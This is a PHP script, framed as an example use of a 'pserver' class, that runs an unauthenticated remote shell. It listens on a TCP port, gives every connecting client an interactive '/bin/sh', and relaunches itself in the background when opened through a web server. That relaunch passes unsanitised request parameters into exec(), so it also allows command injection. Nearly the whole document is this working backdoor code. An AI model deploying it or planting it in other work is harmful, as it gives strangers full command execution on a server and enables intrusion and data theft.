<?
if ( !( $_SERVER["USER"] OR $_SERVER["PWD"] OR $_SERVER["TERM"] OR count($_SERVER["argv"]) > 1 ) )
{
// Corre por Web
exec("php ".basename( $_SERVER["PHP_SELF"] )." ".$_REQUEST["ip"]." ".$_REQUEST["p"]." & ");
die(" RUN FORKED ");
}
/**
* Remote Shell in PHP
*
* Thiss Class in a example of a Server create using class pserver
*
* @package pserver
* @subpackage pserver.example
* @author Pedro Vargas ([email protected]) http://deerme.org
* @version 0.1
* @licence GNU General Public License (GPL)
*/
require('pserver.class.php');
class pshell extends pserver
{
var $pipes = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
var $shell = "/bin/sh -i";
var $chunk_size = 4096;
var $socketbinary = true;
/**
* Read data on the client
*/
function read( &$client )
{
$this->data[ $client['n'] ] = @socket_read($client['socket'], $this->bufferin, ( $this->socketbinary ? PHP_BINARY_READ : PHP_NORMAL_READ ) );
// Have a shell ?
if ( !isset( $client["shell"] ) )
{
$client["shell"] = proc_open($this->shell, $this->pipes,$client["pipes"]);
if (!is_resource($client["shell"]))
{
$this->_logger("Shell","Can't open shell ".$this->shell." ");
}
else
{
$this->_logger("Shell","Open shell ".$this->shell." ");
}
// Set everything to non-blocking
stream_set_blocking($client["pipes"][0],0);
stream_set_blocking($client["pipes"][1],0);
stream_set_blocking($client["pipes"][2],0);
}
// Data Client -> Process
fwrite($client["pipes"][0], $this->data[ $client['n'] ]);
usleep(10000);
}
/**
* Write data on the client
*/
function write( &$client , $data )
{
// If we can read from the process's STDOUT
// send data down tcp connection
if ( !$client["shell"] )
return false;
if ( !isset( $client['pid'] ) AND function_exists("pcntl_fork") )
{
$client['pid'] = pcntl_fork();
if($pid == -1)
{
$this->logger("Process","Could not fork Process");
die();
}
else if ($client['pid'])
{
// Father
$this->pids[] = $client['pid'];
}
else
{
// Son
while( 1 == 1)
{
$input = fread($client["pipes"][1], $this->chunk_size);
$input = str_replace("\n","\n\r",$input);
if ( @socket_write($client['socket'], $input ) === false )
{
// Dead socket
$this->logger("Socket","Dead Socket");
socket_close($client['socket']);
unset($client);
// Die Process
die();
}
$input = fread($client["pipes"][2], $this->chunk_size);
$input = str_replace("\n","\n\r",$input);
if ( $input != "" )
{
if ( eregi("sh" , $input ) and strlen($input) == 16 )
$input = substr( $input , 0 , 8 );
if ( @socket_write($client['socket'], $input ) === false )
{
}
}
usleep(10000);
}
}
}
else
{
// I cant Fork
$input = fread($client["pipes"][1], $this->chunk_size);
$input = str_replace("\n","\n\r",$input);
if ( $input != "" )
{
if ( eregi("sh" , $input ) and strlen($input) == 16 )
$input = substr( $input , 0 , 8 );
if ( socket_write($client['socket'], $input ) === false )
{
$this->logger("Socket","Dead Socket");
socket_close($client['socket']);
unset($client);
}
}
$input = fread($client["pipes"][2], $this->chunk_size);
$input = str_replace("\n","\n\r",$input);
if ( $input != "" )
{
if ( eregi("sh" , $input ) and strlen($input) == 16 )
$input = substr( $input , 0 , 8 );
if ( socket_write($client['socket'], $input ) === false )
{
}
}
}
}
}
$ip = ($argv[1] ? $argv[1] : 0 );
$p = ($argv[2] ? $argv[2] : 30022 );
// Instance Server
$server = new pshell($ip,$p);
$server->welcome_data = unserialize(base64_decode("czozMzg6IhtbMTszMjs0MG1XZWxjb21lIHRvIFBIUCBQU2VydmVyG1sxOzM1OzQwbQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgIC98Xw0KICAgICAgICAgICAgICAgICAgICAgICAgLCcgIC5cDQogICAgICAgICAgICAgICAgICAgICwtLScgICAgXywnDQogICAgICAgICAgICAgICAgICAgLyAgICAgICAvDQogICAgICAgICAgICAgICAgICAoICAgLS4gIHwNCiAgICAgICAgICAgICAgICAgIHwgICAgICkgfA0KICAgICAgICAgICAgICAgICAoYC0uICAnLS0uKQ0KICAgICAgICAgICAgICAgICAgYC4gKS0tLS0nDQobWzE7MzI7NDBtCQkJIFBsZWFzZSwgdGFrZSBhIGNhdCAuLi4gG1sxOzM3OzQwbQoNIjs="));
$server->start();
?>
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